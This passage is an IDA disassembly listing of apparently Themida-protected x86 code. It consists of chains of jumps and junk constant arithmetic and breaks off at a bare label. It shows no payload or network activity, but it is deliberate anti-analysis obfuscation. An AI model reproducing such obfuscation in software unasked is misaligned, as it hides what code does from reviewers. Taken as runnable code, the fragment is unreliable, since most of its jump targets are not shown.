		xor	ebx, 7170582h
		add	ecx, ebx
		pop	ebx
		push	esi
		jmp	loc_565D64
; ---------------------------------------------------------------------------


loc_567A83:				; CODE XREF: sub_55EDA7+1B8Dj
		add	eax, 6195E608h
		push	ebx
		mov	ebx, eax
		mov	edx, ebx
		pop	ebx
		pop	eax
		neg	edx
		shr	edx, 6
		push	edi
		mov	edi, 620B0EACh
		inc	edi
		inc	edi
		sub	edi, 5929D7BFh
		xor	edx, edi
		pop	edi
		xor	edx, 7C4A6F64h
		dec	edx
		xor	edx, 3B694F64h
		sub	ebx, edx
		mov	edx, [esp-0Ah+arg_4+2]
		add	esp, 4
		add	ebx, eax
		push	ebp
		mov	ebp, 4DBB740Eh
		sub	ebx, 3794929h
		jmp	loc_560268
; ---------------------------------------------------------------------------


loc_567AD0:				; CODE XREF: sub_55EDA7+3BCEj
		push	esi
		jmp	loc_56F7BC
; ---------------------------------------------------------------------------


loc_567AD6:				; CODE XREF: sub_55EDA7-6FAj
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-24h+arg_20]
		pop	esp
		pop	eax
		and	al, cl
		mov	ecx, [esp-2Ch+arg_28]
		push	ebx
		sub	esp, 4
		mov	[esp-24h+arg_20], esp
		add	[esp-24h+arg_20], 4
		mov	ebx, [esp-24h+arg_20]
		add	esp, 4
		push	eax
		mov	eax, 102341F8h
		xor	eax, 102341FCh
		jmp	loc_5718A0
; ---------------------------------------------------------------------------


loc_567B12:				; CODE XREF: sub_55EDA7+7276j
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 1C7F1541h
		add	edx, 0E380EAC3h
		jmp	loc_56076E
; ---------------------------------------------------------------------------


loc_567B26:				; CODE XREF: sub_55EDA7+67E2j
		mov	cl, 7Eh
		mov	ah, 0CFh
		jmp	loc_57020E
; ---------------------------------------------------------------------------


loc_567B2F:				; CODE XREF: sub_55EDA7+6ECBj
		shr	[esp+14h+var_16+2], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_567B38:				; CODE XREF: sub_55EDA7+9573j
		neg	esi
		jmp	loc_55F899
; ---------------------------------------------------------------------------


loc_567B3F:				; CODE XREF: sub_55EDA7+6C17j
		push	esi
		mov	esi, 3BFF353Dh
		sub	esi, 3BFF3539h
		mov	eax, esi
		jmp	loc_56A500
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5655DF
		add	esi, 7095B92h
		add	esi, 0AE65D04h
		add	esi, eax
		jmp	loc_56AFC6
; ---------------------------------------------------------------------------


loc_567B70:				; DATA XREF: Themida_:0055DF50o
		push	[esp-30h+arg_2C]
		jmp	loc_55EAC7
; ---------------------------------------------------------------------------


loc_567B78:				; CODE XREF: sub_55EDA7+AE21j
		sub	eax, 40560169h
		add	edx, eax
		pop	eax
		push	edx
		mov	edx, esp
		push	ebp
		push	ebx
		jmp	loc_56FEFB
; ---------------------------------------------------------------------------


loc_567B8A:				; CODE XREF: sub_55EDA7+D29Fj
		mov	ebp, 5CDE457Ah
		push	ecx
		push	esi
		mov	esi, 2E605185h
		xor	esi, 1E041DF5h
		sub	esi, 0F47020A3h
		mov	ecx, esi
		pop	esi
		sub	ecx, 0FFFFFFFFh
		inc	ecx
		or	ecx, 2C3523E0h
		push	esi
		push	ecx
		mov	ecx, 36033D84h
		mov	esi, ecx
		jmp	loc_5610D9
; ---------------------------------------------------------------------------


loc_567BC0:				; CODE XREF: sub_55EDA7-1D7j
		mov	[esp-18h+arg_14], edi
		mov	edi, ebp
		mov	eax, edi
		jmp	loc_5673A6
; ---------------------------------------------------------------------------


loc_567BCC:				; CODE XREF: sub_55EDA7+154Aj
		pop	ebp
		push	4DF4h
		mov	[esp+14h+var_16+2], edi
		jmp	loc_566EA7
; ---------------------------------------------------------------------------


loc_567BDA:				; CODE XREF: sub_55EDA7+11030j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_567BDF:				; CODE XREF: sub_55EDA7+109D0j
		mov	esi, esp
		add	esi, 4
		jmp	loc_563E15
; ---------------------------------------------------------------------------


loc_567BEC:				; CODE XREF: sub_55EDA7+61B1j
		add	edx, esi
		pop	esi
		add	edx, 72201CD7h
		xor	ebx, edx
		jmp	loc_5677ED
; ---------------------------------------------------------------------------


loc_567BFC:				; CODE XREF: sub_55EDA7+DEBDj
		mov	[esp+2Ch+var_2E+2], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5701B8
; ---------------------------------------------------------------------------


loc_567C0C:				; CODE XREF: sub_55EDA7+E00Ej
		mov	ebx, esp
		jmp	loc_5636B8
; ---------------------------------------------------------------------------


loc_567C13:				; CODE XREF: sub_56F6B1+16j
		shr	ebp, 3
		not	ebp
		add	ebp, 900A40Ch
		sub	ebx, 38181FE2h
		add	ebx, ebp
		add	ebx, 38181FE2h
		pop	ebp
		push	5F8Bh
		jmp	loc_56AA3C
; ---------------------------------------------------------------------------


loc_567C37:				; CODE XREF: sub_55EDA7+346Cj
		mov	[esp-14h+arg_10], esi
		mov	esi, 76693455h
		jmp	loc_56B80D
; ---------------------------------------------------------------------------


loc_567C44:				; CODE XREF: sub_55EDA7+54D4j
		add	[esp-28h+arg_24], 56C64BDBh
		mov	ecx, [esp-28h+arg_24]
		add	esp, 4
		sub	ecx, 56C64BDBh
		pop	edx
		add	ecx, edi
		jmp	loc_5708DB
; ---------------------------------------------------------------------------


loc_567C5F:				; CODE XREF: sub_55EDA7+11B69j
		push	[esp-30h+arg_2C]
		pop	ebx
		jmp	loc_55E7F8
; ---------------------------------------------------------------------------


loc_567C68:				; CODE XREF: sub_55EDA7+BFBDj
		pop	ebp
		sub	edx, 7940574Ch
		xor	edx, 21E04D45h
		xor	edi, edx
		jmp	loc_564F5D
; ---------------------------------------------------------------------------


loc_567C7C:				; CODE XREF: sub_55EDA7+971Fj
		sub	edi, 1
		add	edi, 2ED2CC3h
		jmp	loc_566E4B
; ---------------------------------------------------------------------------


loc_567C8D:				; CODE XREF: sub_55EDA7+10DDDj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp-30h+arg_30]
		jmp	loc_565A76
; ---------------------------------------------------------------------------


loc_567CA5:				; CODE XREF: sub_55EDA7+5B80j
		inc	edx
		neg	edx
		xor	edx, 0D94BCF38h
		jmp	loc_572977
; ---------------------------------------------------------------------------


loc_567CB3:				; CODE XREF: sub_55EDA7+20CBj
		push	dword ptr [esp+0]
		mov	ebx, [esp+2+var_4+2]
		push	3D95h
		mov	[esp+6+var_8+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+6+var_8+2]
		pop	esp
		push	edx
		jmp	loc_56E721
; ---------------------------------------------------------------------------


loc_567CD5:				; CODE XREF: sub_55EDA7+613Aj
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_560D39
; ---------------------------------------------------------------------------


loc_567CE9:				; CODE XREF: sub_55EDA7+2A8Aj
		push	ecx
		mov	cl, 0F6h
		jmp	loc_56CC35
; ---------------------------------------------------------------------------


loc_567CF1:				; CODE XREF: sub_55EDA7+A42Fj
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		push	ebp
		jmp	loc_5639C9
; ---------------------------------------------------------------------------


loc_567D00:				; CODE XREF: sub_55EDA7+121F6j
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		add	esp, 4


loc_567D0C:				; CODE XREF: sub_55EDA7+8C3Fj
		push	ebx
		jmp	loc_5625BD
; ---------------------------------------------------------------------------


loc_567D12:				; CODE XREF: sub_55EDA7-994j
		sub	eax, 3E320F4Dh
		push	eax
		push	30CEh
		mov	[esp+20h+var_22+2], eax
		mov	eax, 1C1364B8h
		add	[esp+20h+var_1E+2], eax
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_55F785
; ---------------------------------------------------------------------------


loc_567D34:				; CODE XREF: sub_55EDA7+1F59j
		push	ebx
		mov	ebx, 2F187EA5h
		mov	ebp, ebx
		pop	ebx
		add	ebx, ebp
		pop	ebp
		push	6049h
		mov	[esp-1Ch+arg_18], ecx
		mov	ecx, 0
		add	ecx, ebx
		jmp	loc_56269A
; ---------------------------------------------------------------------------


loc_567D54:				; CODE XREF: sub_55EDA7+59A8j
		mov	edi, 4
		add	ebp, edi
		jmp	loc_56F04C
; ---------------------------------------------------------------------------


loc_567D60:				; CODE XREF: sub_55EDA7+1376Ej
		push	dx
		push	6583h
		mov	[esp+2Ah+var_2A], eax
		mov	ah, 7
		inc	ah
		shr	ah, 4
		dec	ah
		push	edx
		mov	dh, 68h
		neg	dh
		jmp	loc_565266
; ---------------------------------------------------------------------------


loc_567D7D:				; CODE XREF: sub_55EDA7+D760j
		sub	ebx, ecx
		mov	ecx, [esp+2Eh+var_2E]
		jmp	loc_56AE87
; ---------------------------------------------------------------------------


loc_567D87:				; CODE XREF: sub_55EDA7+62FDj
		push	ebx
		mov	ebx, 4
		mov	edx, ebx
		pop	ebx
		sub	ecx, 55342CECh
		jmp	loc_564C23
; ---------------------------------------------------------------------------


loc_567D9B:				; CODE XREF: sub_55EDA7+10A02j
		shl	ecx, 4
		add	ecx, 1E7831C4h
		push	ebp
		mov	ebp, 527E6285h
		jmp	loc_56E545
; ---------------------------------------------------------------------------


loc_567DAF:				; CODE XREF: sub_55EDA7+F8A2j
		pop	ebp
		push	0ECEh
		jmp	loc_567F60
; ---------------------------------------------------------------------------


loc_567DBA:				; CODE XREF: sub_55EDA7+C0Dj
		add	esi, 788E7FABh
		add	esi, ebx
		sub	esi, 788E7FABh
		mov	ebx, [esp+40h+var_42+2]
		add	esp, 4
		push	esi
		push	[esp+40h+var_3E+2]
		jmp	loc_56099F
; ---------------------------------------------------------------------------


loc_567DD8:				; CODE XREF: sub_55EDA7+11D8Ej
		add	ebx, 0FF3415C4h
		add	edi, 4D2F6B70h
		sub	edi, ebx
		sub	edi, 4D2F6B70h
		jmp	loc_56AADC
; ---------------------------------------------------------------------------


loc_567DF1:				; CODE XREF: sub_55EDA7+5571j
		add	esp, 4
		jmp	sub_56EE1E
; ---------------------------------------------------------------------------


loc_567DF9:				; CODE XREF: sub_55EDA7+8930j
		mov	ebp, [esp+2+var_4+2]
		add	esp, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		mov	[esp-6+arg_0+2], ebx
		jmp	loc_562637
; ---------------------------------------------------------------------------


loc_567E14:				; CODE XREF: sub_55EDA7+9EF3j
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_566D46
; ---------------------------------------------------------------------------


loc_567E1D:				; CODE XREF: sub_55EDA7+6E91j
		push	22E7B56h
		pop	esi
		push	ebx
		push	ecx
		mov	ecx, 0
		jmp	loc_56A4CB
; ---------------------------------------------------------------------------


loc_567E2F:				; CODE XREF: sub_55EDA7+A8E9j
		or	ecx, 3A091B96h
		add	ecx, 60054E5Fh
		jmp	loc_55F46F
; ---------------------------------------------------------------------------


loc_567E40:				; CODE XREF: sub_55EDA7+83FCj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_567E45:				; CODE XREF: sub_55EDA7+DE89j
		mov	edi, 0C7D1959h
		jmp	loc_564C5E
; ---------------------------------------------------------------------------


loc_567E4F:				; CODE XREF: sub_55EDA7+D5D6j
		push	ebp
		mov	ebp, 676D7E39h
		jmp	loc_5628A2
; ---------------------------------------------------------------------------


loc_567E5A:				; CODE XREF: sub_55EDA7+115F9j
		pop	edx
		jmp	loc_56EBB5
; ---------------------------------------------------------------------------


loc_567E60:				; CODE XREF: sub_55EDA7+1332Cj
		sub	esp, 4
		mov	[esp-6+arg_0+2], ebp
		push	22DF53BAh
		mov	ebp, [esp+0]
		add	esp, 4
		neg	ebp
		sub	ebp, 83064C4Ch
		mov	ecx, ebp
		pop	ebp
		mov	edi, ecx
		jmp	loc_56FB22
; ---------------------------------------------------------------------------


loc_567E86:				; CODE XREF: sub_55EDA7+61A7j
		push	5422h
		jmp	loc_562371
; ---------------------------------------------------------------------------


loc_567E90:				; CODE XREF: sub_55EDA7+DD8Dj
		pop	[esp-18h+arg_14]
		push	edx
		mov	edx, 4
		add	[esp-18h+arg_18], edx
		pop	edx
		jmp	loc_56E4FC
; ---------------------------------------------------------------------------


loc_567EA3:				; CODE XREF: sub_55EDA7+EE7Bj
		dec	edx
		jmp	loc_566491
; ---------------------------------------------------------------------------


loc_567EA9:				; CODE XREF: sub_55EDA7+13F8Bj
		sub	edi, 4
		xchg	edi, [esp-1Ch+arg_18]
		pop	esp
		mov	[esp-20h+arg_1C], edi
		push	5510h
		jmp	loc_56E855
; ---------------------------------------------------------------------------


loc_567EBD:				; CODE XREF: sub_55EDA7+6490j
		pop	edi
		add	esp, 4
		shr	ecx, 0Bh
		push	2520h
		jmp	loc_564F4B
; ---------------------------------------------------------------------------


loc_567ED1:				; CODE XREF: sub_55EDA7+5CCCj
		mov	esi, 2
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp+2Ah+var_2A]
		pop	esp
		mov	word ptr [esp+26h+var_26], bx
		push	ecx
		mov	ch, 1Ah
		sub	esp, 4
		jmp	loc_571882
; ---------------------------------------------------------------------------


loc_567EEC:				; CODE XREF: sub_55EDA7+96C2j
		mov	esp, [esp+2Eh+var_2E]
		movsx	ecx, ax
		jmp	loc_569F16
; ---------------------------------------------------------------------------


loc_567EF7:				; CODE XREF: sub_55EDA7+10446j
		push	ecx
		mov	ecx, 5D047981h
		xor	esi, ecx
		pop	ecx
		xchg	ebx, esi
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		xchg	ebx, esi
		shl	esi, 3
		xor	esi, 0BC477E52h
		xor	edi, esi
		pop	esi
		add	esi, edi
		mov	edi, [esp+2Ah+var_2A]
		add	esp, 4
		xchg	esi, [esp+26h+var_26]
		jmp	loc_560A32
; ---------------------------------------------------------------------------


loc_567F29:				; CODE XREF: sub_55EDA7+4709j
		shr	ecx, 8
		push	71AAh
		jmp	loc_564040
; ---------------------------------------------------------------------------


loc_567F36:				; CODE XREF: sub_55EDA7+3781j
		neg	eax
		add	eax, 9CF689BFh
		add	esi, eax
		pop	eax
		xor	esi, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], esi
		xor	esi, [esp+1Ch+var_1E+2]
		jmp	loc_570C9E
; ---------------------------------------------------------------------------


loc_567F4E:				; CODE XREF: sub_55EDA7+F7FEj
		pop	ebx
		xchg	eax, ebx
		sub	eax, 0D16B919Ah
		sub	ebx, eax
		mov	eax, [esp+18h+var_1A+2]
		push	ecx
		jmp	loc_56431D
; ---------------------------------------------------------------------------


loc_567F60:				; CODE XREF: sub_55EDA7+900Ej
		mov	[esp+3Ch+var_3E+2], ecx
		mov	ecx, 3EF51172h
		shl	ecx, 7
		jmp	loc_5634A9
; ---------------------------------------------------------------------------


loc_567F70:				; CODE XREF: sub_56E35E+1Ej
		push	7095h
		mov	[esp+40h+var_42+2], esp
		add	[esp+40h+var_42+2], 4
		pop	ebp
		jmp	sub_572364
; ---------------------------------------------------------------------------


loc_567F85:				; CODE XREF: sub_55EDA7+21F3j
		xchg	edx, [esp-1Ch+arg_18]
		pop	esp
		push	118Ah
		mov	[esp-1Ch+arg_18], esp
		add	[esp-1Ch+arg_18], 4
		jmp	loc_56D88C
; ---------------------------------------------------------------------------


loc_567F9A:				; CODE XREF: sub_55EDA7+D3CBj
		and	eax, 4AA35EF1h
		neg	eax
		neg	eax
		add	eax, 0F910332Eh
		xor	edx, eax
		pop	eax
		sub	edx, 25EF9404h
		add	ecx, edx
		pop	edx
		sub	ecx, 5994704Bh
		pop	edx
		jmp	loc_56B9F7
; ---------------------------------------------------------------------------


loc_567FC0:				; CODE XREF: sub_55EDA7+F24j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_56F8D2
; ---------------------------------------------------------------------------


loc_567FC8:				; CODE XREF: sub_55EDA7+5559j
		mov	eax, edi
		push	eax
		pop	ebp
		pop	eax
		mov	edi, [esp-14h+arg_10]
		push	edx
		mov	edx, esp
		jmp	loc_5699B0
; ---------------------------------------------------------------------------


loc_567FD8:				; CODE XREF: sub_55EDA7+446Bj
		add	ch, 11h
		sub	ch, 97h
		add	ch, al
		add	ch, 97h
		sub	ch, 11h
		pop	eax
		sub	al, ch
		pop	ecx
		push	edx
		jmp	sub_56F953
; ---------------------------------------------------------------------------


loc_567FF0:				; CODE XREF: sub_55EDA7+CDB9j
		neg	edi
		push	ecx
		mov	ecx, 914E90D7h
		sub	edi, ecx
		pop	ecx
		jmp	loc_565B2A
; ---------------------------------------------------------------------------


loc_568000:				; CODE XREF: sub_55EDA7+A636j
		mov	[esp-18h+arg_14], ecx
		push	edi
		mov	edi, 4117349h
		mov	ecx, 21114024h
		jmp	loc_5604A5
; ---------------------------------------------------------------------------


loc_568013:				; CODE XREF: sub_55EDA7+110A0j
		mov	esi, 645A426Dh
		shl	esi, 7
		shl	esi, 5
		shl	esi, 5
		shl	esi, 6
		jmp	loc_56F701
; ---------------------------------------------------------------------------


loc_568029:				; CODE XREF: sub_55EDA7+BFE6j
		pop	edx
		add	esp, 4
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_560F9F
; ---------------------------------------------------------------------------


loc_568038:				; CODE XREF: sub_55EDA7+D3A8j
		mov	ch, 3Ah
		mov	dl, 5Fh
		add	dl, ch
		mov	ecx, [esp-20h+arg_1C]
		add	esp, 4
		xor	dl, 29h
		jmp	loc_566A17
; ---------------------------------------------------------------------------


loc_56804C:				; CODE XREF: sub_55EDA7+10E70j
		add	ebp, ebx
		sub	ebp, 0AE661AFh
		pop	ebx
		xchg	ebp, [esp-28h+arg_24]
		mov	esp, [esp-28h+arg_24]
		jmp	loc_561C29
; ---------------------------------------------------------------------------


loc_568060:				; CODE XREF: sub_55EDA7+10F95j
		pop	esi
		mov	edi, [esp-2Ch+arg_28]
		add	esp, 4
		or	esi, 2B1517F2h
		xor	esi, 459E7C7Eh
		jmp	loc_56F551
; ---------------------------------------------------------------------------


loc_56807B:				; CODE XREF: sub_55EDA7+5CE1j
		sub	ecx, 49817AA7h
		pop	ebp
		add	edi, ecx
		jmp	loc_561FC4
; ---------------------------------------------------------------------------


loc_568089:				; CODE XREF: sub_55EDA7+D404j
		add	esp, 4
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_568094:				; CODE XREF: sub_55EDA7+4C68j
		mov	cl, 0E0h
		sub	bl, cl
		pop	ecx
		jmp	loc_5654E1
; ---------------------------------------------------------------------------


loc_56809E:				; CODE XREF: sub_55EDA7+1124Ej
		xor	edx, 5E8368B1h
		xor	edi, edx
		jmp	loc_56B714
; ---------------------------------------------------------------------------


loc_5680AB:				; CODE XREF: sub_55EDA7+12EA7j
		sub	eax, edx
		add	eax, 183D7B70h
		sub	eax, 56D918E8h
		jmp	loc_57247A
; ---------------------------------------------------------------------------


loc_5680BC:				; CODE XREF: sub_55EDA7+3B7j
		mov	esi, ebx
		jmp	loc_569C0D
; ---------------------------------------------------------------------------


loc_5680C3:				; CODE XREF: sub_55EDA7+CD4j
		xor	[esp-0Ch+arg_8], edx
		xor	edx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	[esp-0Ch+arg_8], eax
		jmp	loc_55F4F3
; ---------------------------------------------------------------------------


loc_5680D4:				; CODE XREF: sub_55EDA7+11CE6j
		add	ebx, 0E792BD9h
		jmp	loc_570CAD
; ---------------------------------------------------------------------------


loc_5680DF:				; CODE XREF: sub_55EDA7+8ACCj
		mov	ebx, 4
		mov	ebp, ebx
		pop	ebx
		add	edx, ebp
		pop	ebp
		push	ecx
		push	ebp
		jmp	loc_56F3A3
; ---------------------------------------------------------------------------


loc_5680F1:				; CODE XREF: sub_55EDA7+1324Aj
		pop	edi
		jmp	loc_56B30E
; ---------------------------------------------------------------------------


loc_5680F7:				; CODE XREF: sub_55EDA7+F636j
		push	edx
		mov	edx, 0D4A6037h
		and	ebx, edx
		jmp	loc_56AF3D
; ---------------------------------------------------------------------------


loc_568104:				; CODE XREF: sub_55EDA7+E4EEj
		add	edx, ebp
		push	dword ptr [esp+0]
		push	[esp+0Eh+var_E]
		pop	ebp
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_56D094
; ---------------------------------------------------------------------------


loc_56811B:				; CODE XREF: sub_55EDA7+88AFj
		xchg	esi, [esp+4+var_4]
		pop	esp
		push	edi
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 1101173Ch
		add	ecx, 0EEFEE8C8h
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		jmp	loc_56A396
; ---------------------------------------------------------------------------


loc_568141:				; CODE XREF: sub_55EDA7+BAB6j
		push	edi
		mov	edi, 68A2347Eh
		jmp	loc_569F76
; ---------------------------------------------------------------------------


loc_56814C:				; CODE XREF: sub_55EDA7+5C88j
		and	bl, 0Dh
		jmp	loc_563132
; ---------------------------------------------------------------------------


loc_568154:				; CODE XREF: sub_55EDA7+8430j
		sub	ah, 42h
		add	bl, ah
		jmp	loc_569E6C
; ---------------------------------------------------------------------------


loc_56815E:				; CODE XREF: sub_55EDA7+8BF9j
		pop	eax


loc_56815F:				; CODE XREF: sub_55EDA7+1FFFj
					; sub_55EDA7+13411j
		push	6CC2h
		mov	[esp-1Ah+arg_14+2], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-16h+arg_10+2]
		jmp	loc_572C89
; ---------------------------------------------------------------------------


loc_56817E:				; CODE XREF: sub_55EDA7+1BA7j
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], ecx
		mov	ecx, 2
		add	eax, ecx
		push	[esp+8+var_8]
		jmp	loc_56FE57
; ---------------------------------------------------------------------------


loc_568196:				; CODE XREF: sub_55EDA7+52DFj
		mov	cx, word ptr [esp+0Ch+var_E+2]
		add	esp, 2
		dec	bh
		jmp	loc_566C22
; ---------------------------------------------------------------------------


loc_5681A4:				; CODE XREF: sub_55EDA7+B16Aj
		mov	ebx, 6CE44F38h
		shr	ebx, 3
		neg	ebx
		jmp	loc_56D49B
; ---------------------------------------------------------------------------


loc_5681B3:				; CODE XREF: sub_55EDA7+12445j
		mov	esi, 4CC5786Ch
		or	ecx, esi
		jmp	loc_56E18C
; ---------------------------------------------------------------------------


loc_5681BF:				; CODE XREF: sub_55EDA7-566j
		xchg	ebp, [esp-1Ch+arg_18]
		pop	esp
		mov	[esp-20h+arg_1C], ecx
		jmp	loc_56ED91
; ---------------------------------------------------------------------------


loc_5681CB:				; CODE XREF: sub_55EDA7+83E3j
		mov	ebx, ebp
		pop	ebp
		add	[esp+38h+var_32+2], ebx
		jmp	loc_5644CE
; ---------------------------------------------------------------------------


loc_5681D7:				; CODE XREF: sub_55EDA7+5EB2j
		xor	[esp+0Eh+var_E], eax
		jmp	loc_561D01
; ---------------------------------------------------------------------------


loc_5681DF:				; CODE XREF: sub_55EDA7+135B8j
		xchg	edi, [esp+0Eh+var_E]
		mov	esp, [esp+0Eh+var_E]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5681EA:				; CODE XREF: sub_56F4D5-137j
		add	al, bl
		jmp	loc_569A6C
; ---------------------------------------------------------------------------


loc_5681F1:				; CODE XREF: sub_55EDA7+BCD9j
		pop	edx
		sub	al, bh
		add	al, 0FEh
		push	dword ptr [esp+0]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_568657
; ---------------------------------------------------------------------------


loc_56820E:				; CODE XREF: sub_55EDA7+102DCj
		xchg	esi, [esp+0Eh+var_E]
		pop	esp
		mov	ebp, [esp+0]
		add	esp, 4
		pop	edx
		push	ecx
		mov	ecx, 324B5895h
		inc	ecx
		push	eax
		jmp	loc_55FE72
; ---------------------------------------------------------------------------


loc_568229:				; CODE XREF: Themida_:0056D2DAj
		push	esi
		push	edx
		pop	esi
		pop	edx
		neg	edx
		jmp	loc_56D44F
; ---------------------------------------------------------------------------


loc_568234:				; CODE XREF: sub_55EDA7+13EA8j
		mov	esi, 77511717h
		jmp	loc_568E43
; ---------------------------------------------------------------------------


loc_56823E:				; CODE XREF: sub_55EDA7-166j
		sub	edx, 42AB10D1h
		add	edx, ecx
		add	edx, 42AB10D1h
		mov	ecx, [esp-14h+arg_10]
		add	esp, 4
		push	6CFDh
		mov	[esp-14h+arg_10], eax
		push	esi
		mov	esi, 4FD25854h
		neg	esi
		sub	esi, 1
		push	673Eh
		mov	[esp-0Ch+arg_8], ebp
		jmp	loc_560FE0
; ---------------------------------------------------------------------------


loc_568278:				; CODE XREF: sub_55EDA7+8AABj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 6A295FDFh
		sub	ebp, 1
		sub	ebp, 40AA4F10h
		shl	ebp, 3
		inc	ebp
		add	ebp, 44611FDCh
		sub	ebp, 9059A649h
		add	edx, ebp
		mov	ebp, [esp+18h+var_1A+2]
		add	esp, 4
		push	6DAh
		mov	[esp+18h+var_1A+2], edx
		push	[esp+18h+var_16+2]
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		pop	[esp+18h+var_1A+2]
		pop	esp
		push	ebx
		jmp	loc_56BB11
; ---------------------------------------------------------------------------


loc_5682C7:				; CODE XREF: sub_55EDA7+13D91j
		not	ecx
		jmp	loc_571A9F
; ---------------------------------------------------------------------------


loc_5682CE:				; CODE XREF: sub_55EDA7+A114j
		push	edx
		jmp	loc_569B77
; ---------------------------------------------------------------------------


loc_5682D4:				; CODE XREF: sub_55EDA7+CCD3j
		xchg	edx, [esp+18h+var_1A+2]
		pop	esp
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebx
		push	edi
		mov	edi, 2BA25952h
		mov	ebx, 1525CBB6h
		add	ebx, edi
		pop	edi
		sub	ebx, 0DAA3B203h
		or	ebp, ebx
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		shr	ebp, 2
		jmp	loc_569E19
; ---------------------------------------------------------------------------


loc_568305:				; CODE XREF: sub_55EDA7+16CEj
		push	edx
		push	71A9h
		mov	[esp-6+arg_0+2], ebx
		push	edx
		jmp	loc_5726F7
; ---------------------------------------------------------------------------


loc_568314:				; CODE XREF: sub_55EDA7+4A7Aj
		and	esi, 26FA640Fh
		jmp	loc_567B38
; ---------------------------------------------------------------------------


loc_56831F:				; CODE XREF: sub_55EDA7+3C6j
		mov	[esp+28h+var_2A+2], esp
		push	0C15h
		jmp	loc_566D8F
; ---------------------------------------------------------------------------


loc_56832C:				; CODE XREF: sub_55EDA7+81DEj
		pop	ecx
		pop	[esp-1Ch+arg_18]
		mov	esp, [esp-20h+arg_1C]
		jmp	loc_55E6FB
; ---------------------------------------------------------------------------


loc_568338:				; CODE XREF: sub_55EDA7+531Bj
		push	29E2h
		mov	[esp+1Ch+var_1E+2], edx
		push	ecx
		mov	ecx, 7CD2086Dh
		add	ecx, 9CD93082h
		mov	edx, ecx
		pop	ecx
		jmp	loc_55F2E5
; ---------------------------------------------------------------------------


loc_568354:				; CODE XREF: sub_55EDA7+392j
		pop	eax
		mov	esi, [esp+20h+var_22+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_570667
; ---------------------------------------------------------------------------


loc_568366:				; CODE XREF: sub_55EDA7+A393j
		and	eax, ebp
		push	[esp+24h+var_26+2]
		pop	ebp
		add	esp, 4
		or	edx, eax
		jmp	loc_5687F9
; ---------------------------------------------------------------------------


loc_568376:				; CODE XREF: sub_55EDA7+83E9j
		add	ecx, edx
		jmp	loc_5705C6
; ---------------------------------------------------------------------------


loc_56837D:				; CODE XREF: sub_55EDA7-3A8j
		sub	al, 0E4h
		mov	edx, [esp-2Ch+arg_28]
		jmp	loc_561DCF
; ---------------------------------------------------------------------------


loc_568387:				; CODE XREF: sub_55EDA7+43B0j
		add	bl, al
		jmp	loc_56B8A1
; ---------------------------------------------------------------------------


loc_56838E:				; CODE XREF: sub_55EDA7+5DDEj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_568393:				; CODE XREF: sub_55EDA7+7C81j
		add	edx, 0E0A07016h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		push	esi
		jmp	loc_57284F
; ---------------------------------------------------------------------------


loc_5683AC:				; CODE XREF: sub_55EDA7+9CE0j
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		pop	esp
		add	[esp-8+arg_8], ebx
		pop	ebx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5683C0:				; CODE XREF: sub_55EDA7+523Cj
		pop	edx
		add	esp, 4
		jmp	loc_569560
; ---------------------------------------------------------------------------


loc_5683C9:				; CODE XREF: sub_55EDA7+B442j
		pop	eax
		and	edi, ecx
		pop	ecx
		neg	edi
		add	edi, 2B3798EBh
		sub	esp, 4
		mov	[esp+44h+var_46+2], edi
		pop	eax
		mov	edi, [esp+40h+var_42+2]
		add	esp, 4
		jmp	loc_562E25
; ---------------------------------------------------------------------------


loc_5683E7:				; CODE XREF: sub_55EDA7+71D4j
		mov	edi, ecx
		pop	ecx
		and	edx, edi
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		sub	edx, 26F0AEEh
		xor	edx, 12143177h
		add	ecx, 320B0842h
		jmp	loc_56C79C
; ---------------------------------------------------------------------------


loc_56840C:				; CODE XREF: sub_55EDA7+ACE0j
